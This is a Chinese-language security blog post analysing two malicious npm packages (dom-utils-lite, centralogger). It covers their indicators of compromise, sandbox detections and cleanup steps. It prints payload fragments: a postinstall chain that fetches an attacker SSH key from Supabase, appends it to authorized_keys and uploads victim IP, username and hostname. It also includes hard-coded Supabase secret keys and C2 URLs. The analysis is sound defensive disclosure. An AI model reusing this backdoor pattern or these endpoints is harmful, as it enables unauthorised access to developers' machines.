恶意 dom-utils-lite npm 软件包通过 Supabase 植入 SSH 后门

目录

概述

npm 账户 user0001 <[email protected]> 发布了两款恶意包,dom-utils-litecentralogger,携带相同载荷。在 npm install 时,postinstall 钩子从 Supabase 存储桶中获取攻击者的 SSH 公钥,将其追加到 ~/.ssh/authorized_keys,同时收集受害者的 IP、用户名和主机名,并将这些元数据上传至同一 Supabase 项目。调度器每 60 秒重新执行一次攻击链。

影响:​

  • 将攻击者的 SSH 公钥写入 ~/.ssh/authorized_keys
  • 将服务器 IP、用户名和主机名泄露至攻击者控制的 Supabase 存储
  • 每 60 秒以指数退避重试机制重新运行,若用户删除密钥则重新注入
  • 空的 catch 块吞没所有错误

妥协指标(IoC):​

指标
包名[email protected]
包名[email protected](另有 1.0.51.0.8
维护者user0001 <[email protected]>
C2(dom-utils-lite)hxxps://xienztiavkygvacpqzgr[.]supabase[.]co
C2(centralogger)hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co
Supabase 存储桶project_bucket
SSH 密钥路径public_keys/main.pem.pub
泄露路径logs/{ip}_{hostname}.txt
postinstallnode setup.js
SHA-256(dom-utils-lite)4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f
SHA-256(centralogger)2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7
后门攻击者的 SSH 密钥追加至 ~/.ssh/authorized_keys

分析

两个包,同一载荷

包名版本发布时间Supabase C2 项目
centralogger1.0.51.0.92026 年 4 月 1 日(约 7 小时内发布 5 个版本)ndfcioahsbgsjmulpjgt
dom-utils-lite1.0.02026 年 4 月 14 日xienztiavkygvacpqzgr

centralogger 最早发布。一天内发布五个版本表明攻击者正在调试 postinstall 触发机制。至 dom-utils-lite 时,单次发布已足够。

对提取的 tar 包进行差异对比显示,仅有两个文件不同:

diff
diff centralogger/package.json dom-utils-lite/package.json < "name": "centralogger", < "version": "1.0.9", < "description": "A simple logger for application", --- > "name": "dom-utils-lite", > "version": "1.0.0", > "description": "", diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js < let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co" < let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8" --- > let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co" > let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"

其他所有文件逐字节完全一致。攻击者按攻击波次更换凭据,以便关闭一个 Supabase 项目后另一项目仍可继续运作。

载荷

postinstall 运行 setup.js,该脚本链式执行四个操作:

javascript
async function setup() { try { const publicKey = await getPublicKey(); // fetch SSH key from Supabase await injectKey(publicKey); // write to ~/.ssh/authorized_keys const server = getServerDetails(); // collect IP, username, hostname await uploadMetadata(server); // exfiltrate to Supabase } catch (err) {} } setup();

index.js 以指数退避重试机制每 60 秒重复执行此链条。

injectKey.js~/.ssh/ 不存在时创建它,然后追加以 ssh-key-auto-sync 标记的攻击者密钥:

javascript
const taggedKey = \`${publicKey} ssh-key-auto-sync\`; fs.appendFileSync(authFile, '\n' + taggedKey + '\n');

supabaseClient.js 包含硬编码凭据。SSH 公钥位于 project_bucket/public_keys/main.pem.pub,在运行时获取,以便攻击者无需重新发布即可轮换密钥。

uploadMeta.js 将受害者 IP、用户名、主机名和时间戳写入 logs/{ip}_{hostname}.txt,使用 upsert: true。由于 60 秒调度器每次执行都会覆盖此文件,攻击者维护着一份实时清单:哪些机器已被入侵,以及每台机器上次签到的时间。

攻击流程

plaintext
npm install dom-utils-lite └─ postinstall: node setup.js ├─ fetchKey.js → Downloads SSH public key from Supabase bucket ├─ injectKey.js → Appends key to ~/.ssh/authorized_keys ├─ utils.js → Collects IP, username, hostname └─ uploadMeta.js → Uploads server metadata to Supabase bucket └─ index.js (if executed via npm start) └─ Same chain on 60-second interval with retry

动态分析

我们的基于 eBPF 的动态分析沙箱在执行 [email protected]npm install 期间捕获到三条规则触发:

dom-utils-lite-blog-DA-findings.csv

created_atanalysis_idruleoutput
12026年4月14日上午7:5401KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name=
22026年4月14日上午7:5401KP5EQZMSVFSTX5CXH0VDD173Read ssh information2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name=
32026年4月14日上午7:5401KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name=

3 行

4 列

两条"Adding ssh keys to authorized_keys"警告和一条"Read ssh information"错误在 07:54:48 UTC 时触发,均来自以 root 身份运行的进程链 sh -c node setup.js。两次 openat/root/.ssh/authorized_keys 的调用对应 injectKey.js 读取现有密钥后追加攻击者密钥。

结论

如果您安装了任一包:

  1. 检查 ~/.ssh/authorized_keys 中是否有标记为 ssh-key-auto-sync 的条目并将其删除
  2. 审计 ~/.ssh/authorized_keys 中是否存在任何未知密钥
  3. 终止这些包相关的所有残留 node 进程
  4. 审查可能已安装任一包的 CI/CD 流水线

来自 user0001 账户的任何 npm 包都应被视为恶意。[email protected] 邮箱、存储桶名称 project_bucket 和路径 public_keys/main.pem.pub 是用于追踪该活动中其他包的宝贵线索。

参考资料

SafeDep 博客最新内容

关注以获取开源安全与工程的最新更新和洞察